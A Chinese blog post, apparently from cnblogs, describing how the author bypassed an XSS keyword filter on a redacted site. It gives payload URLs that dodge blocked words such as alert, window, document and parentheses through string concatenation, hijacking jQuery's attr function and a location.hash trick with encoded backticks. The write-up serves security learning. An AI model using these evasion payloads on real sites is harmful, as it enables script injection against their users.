Error message here!

Hide Error message here!

忘记密码?

Error message here!

请输入正确邮箱

Hide Error message here!

密码丢失?请输入您的电子邮件地址。您将收到一个重设密码链接。

Error message here!

返回登录

Close

记录一次有意思的XSS过滤绕过2

飘渺__红尘 2019-01-30 14:20:00 阅读数:227 评论数:0 点赞数:0 收藏数:0

前几天在漏洞挖掘中遇到个xss,感觉绕过过程蛮有意思的,写篇文章记录下。

接下里是我对这个xss详细的分析和绕过

存在问题站点http://******/index/appInfo?appId=784&url=xss

当我查看源代码搜索xss:

一处输出点:

 

继续搜索第二处输出点:

 

 

 

两次输出,第一次输出是在input标签中,第二次是在js中,这里不考虑input中利用了。因为input的type为hidden,即使能够利用成功xss也非常的鸡肋:

 

所以不考虑input标签了,我们转战到js下构造代码让其弹窗。

最简单的,我们先闭合引号,先输入:';alert(1);//

 

页面直接变成空白页。。是不是程序判断中过滤了 alert?

我们尝试删除 alert:

 

还是 空白页,说明()被过滤了。

我们尝试删除()看看alert有没有被过滤:

 

页面显示依旧是空白,接着我尝试把alert替换成prompt和confirm等常用弹窗遇见 ,依旧是空白页,很明显这里对弹窗函数和过滤了(),我们再次尝试双引号("")有没有被过滤:

输入:http://******/index/appInfo?appId=784&url=xss';"xss";//

页面显示内容,然后再次查看源代码:

 

双引号没有被过滤。过滤了括号,一些弹窗函数。

现在我们不抱着弹窗的目的看看能否执行一些简单的js操作,尝试用js代码跳转到百度:

代码window.location.href="http://baidu.com"

我们闭合然后构造:

 

 

发现还是显示空白页,说明过滤了,我猜测过滤window,我删除其他内容 保留window关键字:

 

只要有 window他就显示空白页面。说明对window做了过滤。

window表示打开的当前窗口,表示当前的还有this关键字,这里过滤了window我们可以尝试使用this代替window:

我们再次构造地址:http://******/index/appInfo?appId=784&url=xss';this.location.href="http://baidu.com";//

这次他没有拦截,让我们跳转到了百度:

 

现在我们可以使用他进行url的跳转,现在我开始想着尝试弹窗,但是这貌似很难,因为他过滤的东西有点多。

我尝试能不能使用dom节点写入:

 

又是空白页面,我保留document删除其他部分 :

 

我发现程序只要 有document他就会拦截你到空白页,对于dom来说,没有document是没有灵魂的。虽然过滤document但是我们还是有办法绕过的。

本地调试:

 

发现self['doc'+'ument']就是document

我们构造地址:http://******/index/appInfo?appId=784&url=xss';self['doc'%2b'ument'].body.innerHTML=111//

 

其实写到这里,我们回顾发现我们现在已经可以做很多我们想做的事情了,我们可以通过js修改一个 界面内容,通过js实现一个任意跳转等。

但是我们本能的觉得xss必须得弹个框框,这是我们普遍对xss的认知,现在我就只想弹窗?我该怎么做?

在过滤了括号,一些弹窗的函数后,我发现我已经很难让他弹窗了。。我思考了很久都无法做到弹窗。。后来请教大佬得到了一种弹窗的方法,为我xss学习又一次打开新的世界:

思路1:通过函数劫持弹窗 :

查看源码我们发现在下面一行调用了jq的attr属性操作函数,这里我们能否进行函数的劫持?对attr函数进行劫持,劫持他变成alert呢?

这样不就能弹窗了?

因为alert被过滤了,所以我们要用self['al'+'ert']替代绕过:

我们尝试构造这样一个地址:http://******/index/appInfo?appId=784&url=xss';jQuery['attr']=this['al'%2b'ert']//

 

我们查看 源代码:

 

 

 

下面是我对函数劫持的分析:

 

 

弹窗思路2:

使用#xss payload的方法

使用window.location.hash然后外部定位就不会造成任何拦截了 :

因为过滤很多关键字,我们构造如下地址:

http://******/index/appInfo?appId=784&url=xss%27;location=this.location.hash.slice%601%60;//#javascript:alert('xss')

 

就可以造成弹窗,这里过滤了()我尝试%28%29一样是空白页,尝试把括号改成``还是空白页,当我编码``为%60的时候发现没有拦截,程序自动decode了。故导致xss:

 

 

先写到这里,这次xss的绕过让我收获了很多,为我以后xss研究打开了新的大门,总结 了一些宝贵的经验,从前辈师傅那里学到了更深层的东西

比如说想玩好xss,一定要学好javascript基础!马上要过年了,特此 写这篇文章 留念下。新的一年有更多的困难和挑战等着我,更多的基础知识需要掌握!加油!

版权声明
本文为[飘渺__红尘]所创,转载请带上原文链接,感谢
https://www.cnblogs.com/piaomiaohongchen/p/10337924.html

编程之旅,人生之路,不止于编程,还有诗和远方。
阅代码原理,看框架知识,学企业实践;
赏诗词,读日记,踏人生之路,观世界之行;